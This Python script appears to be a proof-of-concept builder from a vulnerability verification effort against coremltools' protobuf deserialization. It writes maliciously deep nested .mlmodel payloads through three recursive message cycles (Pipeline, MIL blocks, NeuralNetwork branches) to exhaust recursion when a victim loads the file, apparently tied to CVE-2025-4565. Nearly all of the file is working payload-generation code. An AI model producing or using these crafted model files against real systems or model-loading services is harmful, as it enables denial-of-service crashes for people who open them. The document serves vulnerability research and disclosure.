"""
PoC builder for focus-02-protobuf-mlmodel-deserialization.

Builds three families of maliciously-nested but syntactically valid protobuf
payloads using the *_pb2 stubs shipped inside coremltools itself (no protoc
needed), matching the three independent recursive cycles identified in the
candidate finding:

  1. Model.pipeline.models[0] -> Model -> pipeline.models[0] -> ...   (Pipeline cycle)
  2. MILSpec.Operation.blocks[0].operations[0] -> Operation -> ...    (MIL control-flow cycle)
  3. NeuralNetwork.layers[0].branch.ifBranch -> NeuralNetwork -> ...  (NeuralNetwork branch cycle)

IMPORTANT (empirical finding during PoC development, documented in the
evidence log): building/serializing very deep chains (>= ~2000-5000 levels)
through the accelerated "upb" backend can itself crash the whole Python
process natively (no Python traceback at all) — this is a DIFFERENT and
separate phenomenon from the CVE-2025-4565 parsing recursion limit, and is
NOT the attacker-facing scenario (an attacker crafts the .mlmodel bytes
once, offline, by whatever means; the victim only ever calls
ParseFromString/load_spec on the resulting bytes). To build reliably at all
requested depths regardless of host backend, this script always constructs
the message with PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python forced AND a
worker thread with an enlarged OS stack + raised sys.setrecursionlimit, so
that building the payload never becomes the bottleneck under test. The
resulting bytes are then used, unmodified, to drive the actual test of
interest: how the DESERIALIZATION path (ParseFromString/load_spec) behaves
under each backend/version, which is done by separate scripts
(test_parse_default_backend.py, test_parse_forced_backend.py).

Run with any venv's python (does not need to be the venv under test — the
resulting .mlmodel bytes are backend-agnostic wire format), e.g.:
    verify/venv-protobuf/Scripts/python.exe build_payloads.py --outdir out
"""
import argparse
import os
import sys
import threading

os.environ.setdefault("PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION", "python")


def build_pipeline_chain(depth):
    from coremltools.proto import Model_pb2

    root = Model_pb2.Model()
    root.specificationVersion = 1
    cur = root
    for _ in range(depth):
        nested = cur.pipeline.models.add()
        nested.specificationVersion = 1
        cur = nested
    cur.identity.SetInParent()
    return root.SerializeToString()


def build_mil_block_chain(depth):
    """Model.mlProgram.functions['main'].block_specializations['CoreML5'] is a
    Block; Block.operations[i] is an Operation; Operation.blocks[j] is a
    Block. Chain Operation->Block->Operation->Block->...
    """
    from coremltools.proto import Model_pb2

    root = Model_pb2.Model()
    root.specificationVersion = 5
    prog = root.mlProgram
    prog.version = 1
    fn = prog.functions["main"]
    fn.opset = "CoreML5"
    block = fn.block_specializations["CoreML5"]

    cur_block = block
    for _ in range(depth):
        op = cur_block.operations.add()
        op.type = "const"
        nested_block = op.blocks.add()
        cur_block = nested_block
    return root.SerializeToString()


def build_neuralnetwork_branch_chain(depth):
    """NeuralNetwork.layers[i].branch.ifBranch is itself a NeuralNetwork
    message (BranchLayerParams { NeuralNetwork ifBranch; NeuralNetwork
    elseBranch; }). Chain NeuralNetwork->BranchLayer->NeuralNetwork->...
    """
    from coremltools.proto import Model_pb2

    root = Model_pb2.Model()
    root.specificationVersion = 3
    cur_nn = root.neuralNetwork
    for _ in range(depth):
        layer = cur_nn.layers.add()
        layer.name = "branch"
        layer.branch.SetInParent()
        cur_nn = layer.branch.ifBranch
    return root.SerializeToString()


BUILDERS = {
    "pipeline": build_pipeline_chain,
    "mil_block": build_mil_block_chain,
    "nn_branch": build_neuralnetwork_branch_chain,
}


def build_in_big_stack_thread(builder, depth):
    """Run `builder(depth)` in a worker thread with a large OS stack and a
    raised Python recursion limit, so that building itself never fails for
    the depths we care about (the thing under test is parsing, not
    building)."""
    old_limit = sys.getrecursionlimit()
    sys.setrecursionlimit(max(old_limit, depth * 20 + 1000))
    threading.stack_size(64 * 1024 * 1024)  # 64MB worker stack

    result = {}

    def worker():
        try:
            result["data"] = builder(depth)
        except RecursionError:
            result["error"] = "RecursionError"
        except Exception as e:  # pragma: no cover - diagnostic only
            result["error"] = f"{type(e).__name__}: {e}"

    t = threading.Thread(target=worker)
    t.start()
    t.join()
    sys.setrecursionlimit(old_limit)
    return result


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--outdir", required=True)
    ap.add_argument("--depths", default="50,150,1000,5000")
    ap.add_argument("--families", default="pipeline,mil_block,nn_branch")
    args = ap.parse_args()

    os.makedirs(args.outdir, exist_ok=True)
    depths = [int(d) for d in args.depths.split(",")]
    families = args.families.split(",")

    for fam in families:
        builder = BUILDERS[fam]
        for depth in depths:
            result = build_in_big_stack_thread(builder, depth)
            if "data" in result:
                data = result["data"]
                path = os.path.join(args.outdir, f"{fam}_depth{depth}.mlmodel")
                with open(path, "wb") as f:
                    f.write(data)
                print(f"[BUILD] {fam} depth={depth}: {len(data)} bytes -> {path}")
            else:
                print(f"[BUILD] {fam} depth={depth}: FAILED TO BUILD ({result.get('error')})")


if __name__ == "__main__":
    main()